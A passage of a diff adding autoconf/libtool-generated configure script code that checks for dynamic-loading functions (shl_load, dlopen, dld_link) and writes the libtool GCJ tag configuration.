"$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_func_shl_load=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5 +echo "${ECHO_T}$ac_cv_func_shl_load" >&6; } +if test $ac_cv_func_shl_load = yes; then + lt_cv_dlopen="shl_load" +else + { echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5 +echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6; } +if test "${ac_cv_lib_dld_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char shl_load (); +int +main () +{ +return shl_load (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dld_shl_load=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6; } +if test $ac_cv_lib_dld_shl_load = yes; then + lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld" +else + { echo "$as_me:$LINENO: checking for dlopen" >&5 +echo $ECHO_N "checking for dlopen... $ECHO_C" >&6; } +if test "${ac_cv_func_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define dlopen to an innocuous variant, in case declares dlopen. + For example, HP-UX 11i declares gettimeofday. */ +#define dlopen innocuous_dlopen + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char dlopen (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef dlopen + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_dlopen || defined __stub___dlopen +choke me +#endif + +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_func_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5 +echo "${ECHO_T}$ac_cv_func_dlopen" >&6; } +if test $ac_cv_func_dlopen = yes; then + lt_cv_dlopen="dlopen" +else + { echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6; } +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dl_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6; } +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + { echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5 +echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6; } +if test "${ac_cv_lib_svld_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsvld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_svld_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_svld_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6; } +if test $ac_cv_lib_svld_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld" +else + { echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5 +echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6; } +if test "${ac_cv_lib_dld_dld_link+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dld_link (); +int +main () +{ +return dld_link (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_dld_link=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dld_dld_link=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6; } +if test $ac_cv_lib_dld_dld_link = yes; then + lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld" +fi + + +fi + + +fi + + +fi + + +fi + + +fi + + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + { echo "$as_me:$LINENO: checking whether a program can dlopen itself" >&5 +echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C" >&6; } +if test "${lt_cv_dlopen_self+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext < +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self=no + fi +fi +rm -fr conftest* + + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self" >&6; } + + if test "x$lt_cv_dlopen_self" = xyes; then + LDFLAGS="$LDFLAGS $link_static_flag" + { echo "$as_me:$LINENO: checking whether a statically linked program can dlopen itself" >&5 +echo $ECHO_N "checking whether a statically linked program can dlopen itself... $ECHO_C" >&6; } +if test "${lt_cv_dlopen_self_static+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self_static=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext < +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self_static=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self_static=no + fi +fi +rm -fr conftest* + + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6; } + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi + + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler_GCJ \ + CC_GCJ \ + LD_GCJ \ + lt_prog_compiler_wl_GCJ \ + lt_prog_compiler_pic_GCJ \ + lt_prog_compiler_static_GCJ \ + lt_prog_compiler_no_builtin_flag_GCJ \ + export_dynamic_flag_spec_GCJ \ + thread_safe_flag_spec_GCJ \ + whole_archive_flag_spec_GCJ \ + enable_shared_with_static_runtimes_GCJ \ + old_archive_cmds_GCJ \ + old_archive_from_new_cmds_GCJ \ + predep_objects_GCJ \ + postdep_objects_GCJ \ + predeps_GCJ \ + postdeps_GCJ \ + compiler_lib_search_path_GCJ \ + archive_cmds_GCJ \ + archive_expsym_cmds_GCJ \ + postinstall_cmds_GCJ \ + postuninstall_cmds_GCJ \ + old_archive_from_expsyms_cmds_GCJ \ + allow_undefined_flag_GCJ \ + no_undefined_flag_GCJ \ + export_symbols_cmds_GCJ \ + hardcode_libdir_flag_spec_GCJ \ + hardcode_libdir_flag_spec_ld_GCJ \ + hardcode_libdir_separator_GCJ \ + hardcode_automatic_GCJ \ + module_cmds_GCJ \ + module_expsym_cmds_GCJ \ + lt_cv_prog_compiler_c_o_GCJ \ + exclude_expsyms_GCJ \ + include_expsyms_GCJ; do + + case $var in + old_archive_cmds_GCJ | \ + old_archive_from_new_cmds_GCJ | \ + archive_cmds_GCJ | \ + archive_expsym_cmds_GCJ | \ + module_cmds_GCJ | \ + module_expsym_cmds_GCJ | \ + old_archive_from_expsyms_cmds_GCJ | \ + export_symbols_cmds_GCJ | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="$ofile" + + cat <<__EOF__ >> "$cfgfile" +# ### BEGIN LIBTOOL TAG CONFIG: $tagname + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc_GCJ + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_GCJ + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler_GCJ + +# Is the compiler the GNU C compiler? +with_gcc=$GCC_GCJ + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD_GCJ + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl_GCJ + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic_GCJ +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o_GCJ + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static_GCJ + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_GCJ + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_GCJ + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec_GCJ + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec_GCJ + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds_GCJ +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_GCJ + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_GCJ + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds_GCJ +archive_expsym_cmds=$lt_archive_expsym_cmds_GCJ +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds_GCJ +module_expsym_cmds=$lt_module_expsym_cmds_GCJ + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects_GCJ + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects_GCJ + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps_GCJ + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps_GCJ + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path_GCJ + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag_GCJ + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag_GCJ + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action_GCJ + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_GCJ + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. 